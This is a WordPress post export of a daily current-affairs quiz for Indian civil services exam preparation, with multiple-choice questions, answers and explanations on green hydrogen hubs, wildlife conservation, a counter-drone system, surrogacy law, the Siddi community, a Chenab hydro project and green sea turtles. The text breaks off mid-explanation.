{"id":2556,"date":"2025-10-13T14:46:18","date_gmt":"2025-10-13T14:46:18","guid":{"rendered":"https:\/\/iasquest.com\/?p=2556"},"modified":"2026-02-11T18:50:44","modified_gmt":"2026-02-11T18:50:44","slug":"daily-current-affairs-13-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-13-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 13-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to National Green Hydrogen Mission, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">I. The mission provides financial incentives for domestic manufacturing of electrolyzers and green hydrogen production under the Strategic Interventions for Green Hydrogen Transition (SIGHT) Programme<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">II. The Deendayal Port Authority, V.O. Chidambaranar Port Authority, and Paradip Port Authority have been declared as Green Hydrogen Hubs under the mission.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) I only\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) II only\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Both I and II\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (c) Both I and II<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In NEWS:<\/strong> Three Major Ports Recognised as Green Hydrogen Hubs under National Green Hydrogen Mission.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>National Green Hydrogen Mission (NGHM):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>Launched By Union Cabinet of India, approved on January 4, 2023<\/li>\n\n\n\n<li>Objective: <strong>To make India a global hub for the production, use, and export of Green Hydrogen and its derivatives.<\/strong><\/li>\n\n\n\n<li>Green Hydrogen is hydrogen produced using renewable energy (like solar or wind) and electrolysis of water, with zero carbon emissions.<\/li>\n\n\n\n<li>It is considered a clean fuel that can help decarbonize sectors like industry, mobility, and power.<\/li>\n\n\n\n<li>The Ministry of New and Renewable Energy (MNRE) has formally recognised three major ports <strong>Deendayal Port Authority (Gujarat), V.O. Chidambaranar Port Authority (Tamil Nadu), and Paradip Port Authority (Odisha)<\/strong> as Green Hydrogen Hubs under the National Green Hydrogen Mission (NGHM). <strong>Hence statement II is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Key Components of the Mission:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>Provides financial incentives fo<strong>r domestic manufacturing of electrolyzers and green hydrogen production under the Strategic Interventions for Green Hydrogen Transition (SIGHT) Programme.<\/strong> <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>Pilot Projects in sectors like steel, mobility, shipping, and aviation to test green hydrogen applications.<\/li>\n\n\n\n<li>To improve the efficiency, cost-effectiveness, and scalability of green hydrogen technologies.<\/li>\n\n\n\n<li>Skill Development and Awareness &#8211; Training programs to build human resource capacity.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><strong>Q. With reference to green hydrogen, consider the following statements:<\/strong> <br><br>1. It can be used directly as a fuel for internal combustion. <br>2. It can be blended with natural gas and used as fuel for heat or power generation. <br>3. It can be used in the hydrogen fuel cell to run vehicles. <br><br><strong>How many of the above statements are correct?<\/strong> <br><br>(a) Only one <br>(b) Only two <br><strong>(c) All three<\/strong> <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2177591\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2177591<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. With reference to Wildlife Trust of India (WTI), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">1. It is a statutory organization established under the Wildlife Protection Act in 1998.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">2. It works to conserve wildlife and natural habitats across India through science-based interventions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">3. It plays a key role in mitigating human-wildlife conflict through innovative solutions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>In NEWS: <\/strong>WTI report highlights crucial role played by India\u2019s forest protectors<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>WTI Report on India\u2019s Forest Protectors<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-30\">\n<li>Local communities lead forest protection using sustainable practices and traditional knowledge.<\/li>\n\n\n\n<li>Forest protectors face challenges like lack of recognition, limited resources, and threats from illegal activities.<\/li>\n\n\n\n<li>WTI recommends legal recognition, capacity building, and formal integration of community protectors.<\/li>\n\n\n\n<li>Empowering local communities supports effective forest management and aligns with national and global goals.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Wildlife Trust of India (WTI):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-32\">\n<li>The Wildlife Trust of India (WTI) is <strong>a non-profit conservation organization <\/strong>established in 1998. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>WTI works to conserve wildlife and natural habitats across India through science-based interventions. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The organization focuses on rescuing and rehabilitating injured and distressed wildlife.<\/li>\n\n\n\n<li>WTI collaborates with government agencies, local communities, and other NGOs for effective conservation.<\/li>\n\n\n\n<li>It engages in research, capacity building, and awareness programs to promote wildlife protection.<\/li>\n\n\n\n<li>WTI plays a key role in mitigating human-wildlife conflict through innovative solutions. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>The organization supports conservation of endangered species and their ecosystems.<\/li>\n\n\n\n<li>WTI is actively involved in policy advocacy and creating legal frameworks for wildlife protection.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. With reference to Indian laws about wildlife protection, consider the following statements:<\/strong> <br><br>1. Wild animals are the sole property of the government. <br>2. When a wild animal is declared protected, such animal is entitled for equal protection whether it is found in protected areas or outside. <br>3. Apprehension of a protected wild animal becoming a danger to human life is sufficient ground for its capture or killing. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 2 <br><strong>(b) 2 only<\/strong> <br>(c) 1 and 3 <br>(d) 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/wti-report-highlights-crucial-role-of-indias-forest-protectors\/article70154675.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/wti-report-highlights-crucial-role-of-indias-forest-protectors\/article70154675.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>3. What is \u2018Saksham\u2019, recently inducted in the Indian Army?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(a) An indigenous anti-tank missile system<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(b) A counter-unmanned aerial system designed to detect, track, and neutralize hostile drones<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(c) A satellite communication system for secure military communications<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(d) A new type of armored personnel carrier<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Answer: (b) A counter-unmanned aerial system designed to detect, track, and neutralize hostile drones<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>In NEWS: <\/strong>Army inducts \u2018Saksham\u2019 to neutralise aerial threats<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Saksham:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li>Saksham is an indigenously developed <strong>Counter-Unmanned Aerial System (CUAS)<\/strong> by India. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It is designed to <strong>detect, track, identify, and neutralize hostile drones and unmanned aerial threats.<\/strong><\/li>\n\n\n\n<li>The system operates in real time to provide comprehensive airspace security.<\/li>\n\n\n\n<li>Saksham covers the <strong>Tactical Battlefield Space (TBS)<\/strong>, including the Air Littoral up to 3,000 meters altitude.<\/li>\n\n\n\n<li>The Indian Army has initiated procurement of the Saksham CUAS to strengthen operational readiness.<\/li>\n\n\n\n<li>It plays a critical role in countering emerging aerial threats on the modern battlefield.<\/li>\n\n\n\n<li>Saksham enhances India\u2019s defense capabilities against drone incursions and unmanned attacks.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. With reference to Unmanned Aerial Vehicles (UAVs), consider the following statements:\u00a0<\/strong> <br><br>I. All types of UAVs can do vertical landing.\u00a0\u00a0 <br>II. All types of UAVs can do automated hovering.\u00a0\u00a0 <br>III.All types of UAVs can use battery only as a source of power supply.\u00a0\u00a0 <br><br><strong>How many of the statements given above are correct?\u00a0<\/strong> <br><br>(a) Only one\u00a0\u00a0\u00a0<br>(b) Only two\u00a0 <br>(c) All the three\u00a0\u00a0 <br><strong>(d) None<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/indian-army-inducts-indigenous-saksham-counter-uas-grid-to-secure-tactical-battlefield-space\/article70143459.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/indian-army-inducts-indigenous-saksham-counter-uas-grid-to-secure-tactical-battlefield-space\/article70143459.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>4. With reference to the Surrogacy (Regulation) Act, 2021, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">1. The Act allows only altruistic surrogacy and prohibits commercial surrogacy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">2. Single parents and live-in partners are eligible to commission surrogacy under this Act.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">3. The surrogate mother can act as a surrogate only once in her lifetime.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">4. The Act provides for the establishment of National and State Surrogacy Boards for regulation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(a) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(b) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(c) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Answer: (b) 1, 3 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>In NEWS:<\/strong> Retrospective age limits under surrogacy law violate reproductive autonomy: SC<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Surrogacy (Regulation) Act, 2021:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Objective:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">To regulate surrogacy services and prohibit commercial surrogacy in India, allowing only altruistic surrogacy. <strong>Hence statement 1 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Eligibility:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>Only Indian married couples (married for at least 5 years) with infertility issues are eligible.<\/li>\n\n\n\n<li>The woman must be aged 25\u201335 years, and the man 26\u201340 years.<\/li>\n\n\n\n<li>Single parents, live-in partners, and same-sex couples are excluded. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Altruistic Surrogacy:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">Surrogacy is allowed only if no monetary compensation is given to the surrogate mother except for medical expenses and insurance coverage.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Surrogate Mother Criteria:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>Must be a close relative of the intending couple.<\/li>\n\n\n\n<li>Age between 25 and 35 years.<\/li>\n\n\n\n<li>Can act as a surrogate only once in her lifetime. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Regulatory Authorities:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">The Act provides for the establishment of the National Surrogacy Board and State Surrogacy Boards to oversee and regulate surrogacy clinics and procedures. <strong>Hence statement 4 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Prohibition:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-70\">\n<li>Commercial surrogacy is banned.<\/li>\n\n\n\n<li>Surrogacy for foreign nationals and single parents is not allowed.<\/li>\n\n\n\n<li>Surrogacy done for any purpose other than to fulfill the desire of a couple to have a child is prohibited.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Legal Parenthood:<\/strong>The intending couple is considered the legal parents of the child born through surrogacy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Recent Supreme Court Ruling:<\/strong>The Supreme Court ruled that the age limits in the Act will not apply retrospectively to couples who had already begun surrogacy procedures before the Act came into force.<\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-law\/sc-age-limit-surrogacy-law-10298933\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-law\/sc-age-limit-surrogacy-law-10298933\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>5. Which of the following tribal communities in India is believed to have migrated from East Africa and is currently listed under the Particularly Vulnerable Tribal Groups (PVTGs) in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(a) Irula<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(b) Siddi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(c) Chenchu<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(d) Birhor<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Answer: (b) Siddi<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>In NEWS: <\/strong>President Droupadi Murmu Urges Tribal Community To Pursue Education As A Means Of Empowerment &amp; Progress<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Siddi Community:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>The <strong>Siddi community<\/strong> in India traces its <strong>ancestry to East African<\/strong> people who arrived in the Indian subcontinent centuries ago through trade, slavery, and as mercenaries.<\/li>\n\n\n\n<li>Despite their African roots, the Siddis have <strong>assimilated into Indian society<\/strong>, adopting local languages, religions, and customs.<\/li>\n\n\n\n<li>The Siddi population is primarily found in <strong>Gujarat, Karnataka, Maharashtra<\/strong>, and a few parts of <strong>Andhra Pradesh and Telangana<\/strong>.<\/li>\n\n\n\n<li>In Gujarat, the Siddis are largely concentrated in districts like <strong>Junagadh<\/strong> and <strong>Gir Somnath<\/strong>.<\/li>\n\n\n\n<li>The Siddis have a rich cultural blend, combining <strong>African traditions with Indian customs<\/strong>, especially visible in their <strong>music, dance, and folklore<\/strong>.<\/li>\n\n\n\n<li>They are known for traditional dances like the <strong>Dhamal<\/strong>, which has African influences and is performed during festivals and special occasions.<\/li>\n\n\n\n<li>Traditionally, the Siddi community has been involved in <strong>agriculture, manual labor, and forest-based livelihoods<\/strong>.<\/li>\n\n\n\n<li>Many Siddis live in <strong>remote or rural areas<\/strong>, often facing <strong>economic and educational challenges<\/strong>.<\/li>\n\n\n\n<li>Despite social and economic barriers, literacy and awareness among Siddis are gradually improving, with <strong>growing access to education<\/strong> and government schemes.<\/li>\n\n\n\n<li>The Siddi community in Gujarat has achieved a <strong>literacy rate of over 72%<\/strong>, a sign of notable progress.<\/li>\n\n\n\n<li>The Siddi community is recognized as a <strong>Scheduled Tribe (ST)<\/strong> in India and is listed among the <strong>Particularly Vulnerable Tribal Groups (PVTGs)<\/strong>.<\/li>\n\n\n\n<li>They are entitled to <strong>reservations, welfare schemes<\/strong>, and other benefits provided by the Indian government for tribal upliftment.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Hence option (b) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><strong>Q. A community of people called Manganiyars is well-known for their<\/strong> <br><br>(a) martial arts in North-East India <br><strong>(b) musical tradition in North-West India<\/strong> <br>(c) classical vocal music in South India <br>(d) pietra dura tradition in Central India<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/president-droupadi-murmu-urges-tribal-community-to-pursue-education-as-a-means-of-empowerment-progress\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/president-droupadi-murmu-urges-tribal-community-to-pursue-education-as-a-means-of-empowerment-progress\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>6. The \u2018Sawalkote project\u2019 is a hydroelectric project planned on which among of the following rivers?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(a) Chenab<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(b) Ravi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(c) Jhelum<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">(d) Indus<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Answer: (a) Chenab<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>In NEWS: <\/strong>Environmental clearance to the Sawalkote hydroelectric project on Chenab river<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Sawalkote hydroelectric project:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li>The Sawalkote project is an upcoming hydroelectric power project in India.<\/li>\n\n\n\n<li>It is planned to be constructed <strong>on the Chenab River. Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>The project aims to harness the hydropower potential of the Chenab basin.<\/li>\n\n\n\n<li>It will contribute to the region\u2019s electricity supply and support sustainable energy goals.<\/li>\n\n\n\n<li>The Sawalkote project is part of broader efforts to develop renewable energy infrastructure in Jammu &amp; Kashmir.<\/li>\n\n\n\n<li>It is expected to boost local economy and create employment opportunities during construction and operation.<\/li>\n\n\n\n<li>The project includes building a dam and associated power generation facilities.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Hydroelectric projects on the Chenab River:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-97\">\n<li>Dulhasti Hydroelectric Project<\/li>\n\n\n\n<li>Sawalkote Hydroelectric Project<\/li>\n\n\n\n<li>Baglihar Hydroelectric Project<\/li>\n\n\n\n<li>Salal Hydroelectric Project<\/li>\n\n\n\n<li>Pakal Dul Hydroelectric Project<\/li>\n\n\n\n<li>Kiru Hydroelectric Project<\/li>\n\n\n\n<li>Ratle Hydroelectric Project<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/sawalkote-hydropower-project-on-chenab-gets-fresh-environmental-clearance\/article70148921.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/sawalkote-hydropower-project-on-chenab-gets-fresh-environmental-clearance\/article70148921.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>7. With reference to the Green sea turtles, Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">1. It is the largest hard-shelled sea turtle.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">2. It\u00a0 is primarily an omnivorous species.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">3. It is listed as critically endangered by the IUCN<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>Answer: (a) Only one<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>In NEWS: <\/strong>Green Sea Turtle Status Upgraded to Least Concern<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Green Sea Turtle:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li>The Green Sea Turtle is a large, primarily herbivorous sea turtle found in tropical and subtropical oceans worldwide. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>It gets its name not from its shell, but from the greenish color of its body fat, which results from its diet of seagrasses and algae.<\/li>\n\n\n\n<li>The Green Sea Turtle (<em>Chelonia mydas<\/em>) is the largest hard-shelled sea turtle in the world. <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"528\" height=\"353\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-18.jpg\" alt=\"\" class=\"wp-image-2557\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-18.jpg 528w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-18-300x201.jpg 300w\" sizes=\"auto, (max-width: 528px) 100vw, 528px\" \/><\/figure>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-113\">\n<li>Green Sea Turtles are found in coastal areas of over 140 countries, including coral reefs, seagrass beds, and sandy beaches.<\/li>\n\n\n\n<li>They are known to migrate long distances between feeding grounds and nesting beaches\u2014sometimes over 2,000 kilometers.<\/li>\n\n\n\n<li>Juvenile Green Sea Turtles are omnivorous, eating invertebrates like jellyfish and sponges, but adults primarily feed on seagrass and 